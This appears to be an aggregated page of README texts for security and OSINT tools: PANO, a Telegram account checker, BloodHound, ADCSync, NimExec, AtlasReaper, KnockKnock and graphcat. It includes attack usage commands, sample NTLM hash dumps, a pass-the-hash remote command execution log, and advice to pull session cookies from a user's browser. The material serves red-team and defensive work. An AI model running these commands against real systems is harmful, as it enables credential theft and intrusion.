Login
Clone the repository: bash git clone https://github.com/ALW1EZ/PANO.git cd PANO
Run the application:
FreshRSS ./start_pano.sh
start_pano.bat
The startup script will automatically: - Check for updates - Set up the Python environment - Install dependencies - Launch PANO
In order to use Email Lookup transform You need to login with GHunt first. After starting the pano via starter scripts;
source venv/bin/activate
call venv\Scripts\activate
Visual node and edge styling
Timeline Analysis
Temporal relationship analysis
Map Integration
Connected services discovery
Username Analysis
Web presence analysis
Image Analysis
Entities are the fundamental building blocks of PANO. They represent distinct pieces of information that can be connected and analyzed:
📝 Text: Generic text content
Properties System
Transforms are automated operations that process entities to discover new information and relationships:
🔄 Enrichment: Add data to existing entities
Features
Helpers are specialized tools with dedicated UIs for specific investigation tasks:
🔄 Translator: Translate text between languages
Helper Features
We welcome contributions! To contribute to PANO:
Note: We use a single
mainbranch for development. All pull requests should be made directly tomain.
from dataclasses import dataclass
from typing import ClassVar, Dict, Any
from .base import Entity
@dataclass
class PhoneNumber(Entity):
name: ClassVar[str] = "Phone Number"
description: ClassVar[str] = "A phone number entity with country code and validation"
def init_properties(self):
"""Initialize phone number properties"""
self.setup_properties({
"number": str,
"country_code": str,
"carrier": str,
"type": str, # mobile, landline, etc.
"verified": bool
})
def update_label(self):
"""Update the display label"""
self.label = self.format_label(["country_code", "number"])
from dataclasses import dataclass
from typing import ClassVar, List
from .base import Transform
from entities.base import Entity
from entities.phone_number import PhoneNumber
from entities.location import Location
from ui.managers.status_manager import StatusManager
@dataclass
class PhoneLookup(Transform):
name: ClassVar[str] = "Phone Number Lookup"
description: ClassVar[str] = "Lookup phone number details and location"
input_types: ClassVar[List[str]] = ["PhoneNumber"]
output_types: ClassVar[List[str]] = ["Location"]
async def run(self, entity: PhoneNumber, graph) -> List[Entity]:
if not isinstance(entity, PhoneNumber):
return []
status = StatusManager.get()
operation_id = status.start_loading("Phone Lookup")
try:
# Your phone number lookup logic here
# Example: query an API for phone number details
location = Location(properties={
"country": "Example Country",
"region": "Example Region",
"carrier": "Example Carrier",
"source": "PhoneLookup transform"
})
return [location]
except Exception as e:
status.set_text(f"Error during phone lookup: {str(e)}")
return []
finally:
status.stop_loading(operation_id)
from PySide6.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton,
QTextEdit, QLabel, QComboBox
)
from .base import BaseHelper
from qasync import asyncSlot
class DummyHelper(BaseHelper):
"""A dummy helper for testing"""
name = "Dummy Helper"
description = "A dummy helper for testing"
def setup_ui(self):
"""Initialize the helper's user interface"""
# Create input text area
self.input_label = QLabel("Input:")
self.input_text = QTextEdit()
self.input_text.setPlaceholderText("Enter text to process...")
self.input_text.setMinimumHeight(100)
# Create operation selector
operation_layout = QHBoxLayout()
self.operation_label = QLabel("Operation:")
self.operation_combo = QComboBox()
self.operation_combo.addItems(["Uppercase", "Lowercase", "Title Case"])
operation_layout.addWidget(self.operation_label)
operation_layout.addWidget(self.operation_combo)
# Create process button
self.process_btn = QPushButton("Process")
self.process_btn.clicked.connect(self.process_text)
# Create output text area
self.output_label = QLabel("Output:")
self.output_text = QTextEdit()
self.output_text.setReadOnly(True)
self.output_text.setMinimumHeight(100)
# Add widgets to main layout
self.main_layout.addWidget(self.input_label)
self.main_layout.addWidget(self.input_text)
self.main_layout.addLayout(operation_layout)
self.main_layout.addWidget(self.process_btn)
self.main_layout.addWidget(self.output_label)
self.main_layout.addWidget(self.output_text)
# Set dialog size
self.resize(400, 500)
@asyncSlot()
async def process_text(self):
"""Process the input text based on selected operation"""
text = self.input_text.toPlainText()
operation = self.operation_combo.currentText()
if operation == "Uppercase":
result = text.upper()
elif operation == "Lowercase":
result = text.lower()
else: # Title Case
result = text.title()
self.output_text.setPlainText(result)
This project is licensed under the Creative Commons Attribution-NonCommercial (CC BY-NC) License.
You are free to: - ✅ Share: Copy and redistribute the material - ✅ Adapt: Remix, transform, and build upon the material
Under these terms: - ℹ️ Attribution: You must give appropriate credit - 🚫 NonCommercial: No commercial use - 🔓 No additional restrictions
Special thanks to all library authors and contributors who made this project possible.
Created by ALW1EZ with AI ❤️
Enhanced version of bellingcat's Telegram Phone Checker!
A Python script to check Telegram accounts using phone numbers or username.
git clone https://github.com/unnohwn/telegram-checker.git
cd telegram-checker
pip install -r requirements.txt
Contents of requirements.txt:
telethon
rich
click
python-dotenv
Or install packages individually:
pip install telethon rich click python-dotenv
First time running the script, you'll need: - Telegram API credentials (get from https://my.telegram.org/apps) - Your Telegram phone number including countrycode + - Verification code (sent to your Telegram)
Run the script:
python telegram_checker.py
Choose from options: 1. Check phone numbers from input 2. Check phone numbers from file 3. Check usernames from input 4. Check usernames from file 5. Clear saved credentials 6. Exit
Results are saved in: - results/ - JSON files with detailed information - profile_photos/ - Downloaded profile pictures
This tool is for educational purposes only. Please respect Telegram's terms of service and user privacy.
MIT License
BloodHound is a monolithic web application composed of an embedded React frontend with Sigma.js and a Go based REST API backend. It is deployed with a Postgresql application database and a Neo4j graph database, and is fed by the SharpHound and AzureHound data collectors.
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to identify quickly. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory or Azure environment.
BloodHound CE is created and maintained by the BloodHound Enterprise Team. The original BloodHound was created by @_wald0, @CptJesus, and @harmj0y.
The easiest way to get up and running is to use our pre-configured Docker Compose setup. The following steps will get BloodHound CE up and running with the least amount of effort.
curl -L https://ghst.ly/getbhce | docker compose -f - up
http://localhost:8080/ui/login. Login with a username of admin and the randomly generated password from the logsNOTE: going forward, the default docker-compose.yml example binds only to localhost (127.0.0.1). If you want to access BloodHound outside of localhost, you'll need to follow the instructions in examples/docker-compose/README.md to configure the host binding for the container.
# Verify if Docker Engine is Running
docker info
# Attempt to stop Neo4j Service if running (on Windows)
Stop-Service "Neo4j" -ErrorAction SilentlyContinue
https://github.com/SpecterOps/BloodHound/assets/12970156/ea9dc042-1866-4ccb-9839-933140cc38b9
Please check out the Contact page in our wiki for details on how to reach out with questions and suggestions.
This is a tool I whipped up together quickly to DCSync utilizing ESC1. It is quite slow but otherwise an effective means of performing a makeshift DCSync attack without utilizing DRSUAPI or Volume Shadow Copy.
This is the first version of the tool and essentially just automates the process of running Certipy against every user in a domain. It still needs a lot of work and I plan on adding more features in the future for authentication methods and automating the process of finding a vulnerable template.
python3 adcsync.py -u clu -p theperfectsystem -ca THEGRID-KFLYNN-DC-CA -template SmartCard -target-ip 192.168.0.98 -dc-ip 192.168.0.98 -f users.json -o ntlm_dump.txt
___ ____ ___________
/ | / __ \/ ____/ ___/__ ______ _____
/ /| | / / / / / \__ \/ / / / __ \/ ___/
/ ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/ |_/_____/\____//____/\__, /_/ /_/\___/
/____/
Grabbing user certs:
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [02:18<00:00, 1.32s/it]
THEGRID.LOCAL/shirlee.saraann::aad3b435b51404eeaad3b435b51404ee:68832255545152d843216ed7bbb2d09e:::
THEGRID.LOCAL/rosanne.nert::aad3b435b51404eeaad3b435b51404ee:a20821df366981f7110c07c7708f7ed2:::
THEGRID.LOCAL/edita.lauree::aad3b435b51404eeaad3b435b51404ee:b212294e06a0757547d66b78bb632d69:::
THEGRID.LOCAL/carol.elianore::aad3b435b51404eeaad3b435b51404ee:ed4603ce5a1c86b977dc049a77d2cc6f:::
THEGRID.LOCAL/astrid.lotte::aad3b435b51404eeaad3b435b51404ee:201789a1986f2a2894f7ac726ea12a0b:::
THEGRID.LOCAL/louise.hedvig::aad3b435b51404eeaad3b435b51404ee:edc599314b95cf5635eb132a1cb5f04d:::
THEGRID.LO CAL/janelle.jess::aad3b435b51404eeaad3b435b51404ee:a7a1d8ae1867bb60d23e0b88342a6fab:::
THEGRID.LOCAL/marie-ann.kayle::aad3b435b51404eeaad3b435b51404ee:a55d86c4b2c2b2ae526a14e7e2cd259f:::
THEGRID.LOCAL/jeanie.isa::aad3b435b51404eeaad3b435b51404ee:61f8c2bf0dc57933a578aa2bc835f2e5:::
ADCSync uses the ESC1 exploit to dump NTLM hashes from user accounts in an Active Directory environment. The tool will first grab every user and domain in the Bloodhound dump file passed in. Then it will use Certipy to make a request for each user and store their PFX file in the certificate directory. Finally, it will use Certipy to authenticate with the certificate and retrieve the NT hash for each user. This process is quite slow and can take a while to complete but offers an alternative way to dump NTLM hashes.
git clone https://github.com/JPG0mez/adcsync.git
cd adcsync
pip3 install -r requirements.txt
To use this tool we need the following things:
# python3 adcsync.py --help
___ ____ ___________
/ | / __ \/ ____/ ___/__ ______ _____
/ /| | / / / / / \__ \/ / / / __ \/ ___/
/ ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/ |_/_____/\____//____/\__, /_/ /_/\___/
/____/
Usage: adcsync.py [OPTIONS]
Options:
-f, --file TEXT Input User List JSON file from Bloodhound [required]
-o, --output TEXT NTLM Hash Output file [required]
-ca TEXT Certificate Authority [required]
-dc-ip TEXT IP Address of Domain Controller [required]
-u, --user TEXT Username [required]
-p, --password TEXT Password [required]
-template TEXT Template Name vulnerable to ESC1 [required]
-target-ip TEXT IP Address of th e target machine [required]
--help Show this message and exit.
Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.
NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.
Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim's cross-compilability support.
This project was inspired by Julio's SharpNoPSExec tool. You can think that NimExec is Cross Compilable and built-in Pass the Hash supported version of SharpNoPSExec. Also, I learned the required network packet structures from Kevin Robertson's Invoke-SMBExec Script.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.
Also, you can install the required Nim modules via Nimble with the following command:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .--- ----------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
It's tested against Windows 10&11, Windows Server 16&19&22 from Ubuntu 20.04 and Windows 10 machines.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.*
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
AtlasReaper is a command-line tool developed for offensive security purposes, primarily focused on reconnaissance of Confluence and Jira. It also provides various features that can be helpful for tasks such as credential farming and social engineering. The tool is written in C#.
Blog post: Sowing Chaos and Reaping Rewards in Confluence and Jira
.@@@@
@@@@@
@@@@@ @@@@@@@
@@@@@ @@@@@@@@@@@
@@@@@ @@@@@@@@@@@@@@@
@@@@, @@@@ *@@@@
@@@@ @@@ @@ @@@ .@@@
_ _ _ ___ @@@@@@@ @@@@@@
/_\| |_| |__ _ __| _ \___ __ _ _ __ ___ _ _ @@ @@@@@@@@
/ _ \ _| / _` (_-< / -_) _` | '_ \/ -_) '_| @@ @@@@@@@@
/_/ \_\__|_\__,_/__/_|_\___\__,_| .__/\___|_| @@@@@@@@ &@
|_| @@@@@@@@@@ @@&
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@. @@
@werdhaihai
AtlasReaper uses commands, subcommands, and options. The format for executing commands is as follows:
.\AtlasReaper.exe [command] [subcommand] [options]
Replace [command], [subcommand], and [options] with the appropriate values based on the action you want to perform. For more information about each command or subcommand, use the -h or --help option.
Below is a list of available commands and subcommands:
Each command has sub commands for interacting with the specific product.
confluencejiraconfluence attach - Attach a file to a page.confluence download - Download an attachment.confluence embed - Embed a 1x1 pixel image to perform farming attacks.confluence link - Add a link to a page.confluence listattachments - List attachments.confluence listpages - List pages in Confluence.confluence listspaces - List spaces in Confluence.confluence search - Search Confluence.jira addcomment - Add a comment to an issue.jira attach - Attach a file to an issue.jira createissue - Create a new issue.jira download - Download attachment(s) from an issue.jira listattachments - List attachments on an issue.jira listissues - List issues in Jira.jira listprojects - List projects in Jira.jira listusers - List Atlassian users.jira searchissues - Search issues in Jira.help - Display more information on a specific command.Here are a few examples of how to use AtlasReaper:
Search for a keyword in Confluence with wildcard search:
.\AtlasReaper.exe confluence search --query "http*example.com*" --url $url --cookie $cookie
Attach a file to a page in Confluence:
.\AtlasReaper.exe confluence attach --page-id "12345" --file "C:\path\to\file.exe" --url $url --cookie $cookie
Create a new issue in Jira:
.\AtlasReaper.exe jira createissue --project "PROJ" --issue-type Task --message "I can't access this link from my host" --url $url --cookie $cookie
Confluence and Jira can be configured to allow anonymous access. You can check this by supplying omitting the -c/--cookie from the commands.
In the event authentication is required, you can dump cookies from a user's browser with SharpChrome or another similar tool.
.\SharpChrome.exe cookies /showall
Look for any cookies scoped to the *.atlassian.net named cloud.session.token or tenant.session.token
Please note the following limitations of AtlasReaper:
cloud.session.token or tenant.session.token which can be obtained from a user's browser. Alternatively, it can use anonymous access if permitted. (API tokens or other auth is not currently supported)If you encounter any issues or have suggestions for improvements, please feel free to contribute by submitting a pull request or opening an issue in the AtlasReaper repo.
Designed to validate potential usernames by querying OneDrive and/or Microsoft Teams, which are passive methods.
Additionally, it can output/create a list of legacy Skype users identified through Microsoft Teams enumeration.
Finally, it also creates a nice clean list for future usage, all conducted from a single tool.
$ python3 .\KnockKnock.py -h
_ __ _ _ __ _
| |/ /_ __ ___ ___| | _| |/ /_ __ ___ ___| | __
| ' /| '_ \ / _ \ / __| |/ / ' /| '_ \ / _ \ / __| |/ /
| . \| | | | (_) | (__| <| . \| | | | (_) | (__| <
|_|\_\_| |_|\___/ \___|_|\_\_|\_\_| |_|\___/ \___|_|\_\
v0.9 Author: @waffl3ss
usage: KnockKnock.py [-h] [-teams] [-onedrive] [-l] -i INPUTLIST [-o OUTPUTFILE] -d TARGETDOMAIN [-t TEAMSTOKEN] [-threads MAXTHREADS] [-v]
options:
-h, --help show this help message and exit
-teams Run the Teams User Enumeration Module
-onedrive Run the One Drive Enumeration Module
-l Write legacy skype users to a seperate file
-i INPUTLIST Input file with newline-seperated users to check
-o OUTPUTFILE Write output to file
-d TARGETDOMAIN Domain to target
-t TEAMSTOKEN Teams Token (file containing token or a string)
-threads MAXTHREADS Number of threads to use in the Teams User Enumeration (default = 10)
-v Show verbose errors
./KnockKnock.py -teams -i UsersList.txt -d Example.com -o OutFile.txt -t BearerToken.txt
./KnockKnock.py -onedrive -i UsersList.txt -d Example.com -o OutFile.txt
./KnockKnock.py -onedrive -teams -i UsersList.txt -d Example.com -t BearerToken.txt -l
To get your bearer token, you will need a Cookie Manager plugin on your browser and login to your own Microsoft Teams through the browser.
Next, view the cookies related to the current webpage (teams.microsoft.com).
The cookie you are looking for is for the domain .teams.microsoft.com and is titled "authtoken".
You can copy the whole token as the script will split out the required part for you.
@nyxgeek - onedrive_user_enum
@immunIT - TeamsUserEnum
Simple script to generate graphs and charts on hashcat (and john) potfile and ntds
git clone https://github.com/Orange-Cyberdefense/graphcat
cd graphcat
pip install .
$ graphcat.py -h
usage: graphcat.py [-h] -potfile hashcat.potfile -hashfile hashfile.txt [-john] [-format FORMAT] [-export-charts] [-output-dir OUTPUT_DIR] [-debug]
Password Cracking Graph Reporting
options:
-h, --help show this help message and exit
-potfile hashcat.potfile
Hashcat Potfile
-hashfile hashfile.txt
File containing hashes (one per line)
-john John potfile
-format FORMAT hashfile format (default 3): 1 for hash; 2 for username:hash; 3 for secretsdump (username:uid:lm:ntlm)
-export-charts Output also charts in png
-output-dir OUTPUT_DIR
Output directory
-debug Turn DEB UG output ON
Graphcat just need a potfile with -potfile (default is hashcat, but you can use -john to submit a john potfile) and a hashfile with -hashfile. The hashfile should be in a specific format from the 3 availables formats with -format flag. Default is Secretsdump.
The tool will generate a report with multiple password cracking charts. You can get charts in png with the -export-charts flag.
$ graphcat.py -hashfile entreprise.local.ntds -potfile hashcat.pot
[-] Parsing potfile
[-] 164 entries in potfile
[-] Parsing hashfile
[-] 1600 entries in hashfile
[-] Generating graphs...
[-] Generating report...
[-] Report available at graphcat_1672941324.pdf
1: Only Hash
aad3b435b51404eeaad3b435b51404ee
aad3b435b51404eeaad3b435b51404ee
aad3b435b51404eeaad3b435b51404ee
2: Username + Hash
test1:aad3b435b51404eeaad3b435b51404ee
test2:aad3b435b51404eeaad3b435b51404ee
test3:aad3b435b51404eeaad3b435b51404ee
3: Secretsdump
waza.local\test1:4268:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
waza.local\test2:4269:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
waza.local\test3:4270:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
If a hash occurs more than once in the hash file, it will be counted that many times.
Moreover, if you submit secretsdump with password history (-history in secretsdump command), it will analyze similarity in password history
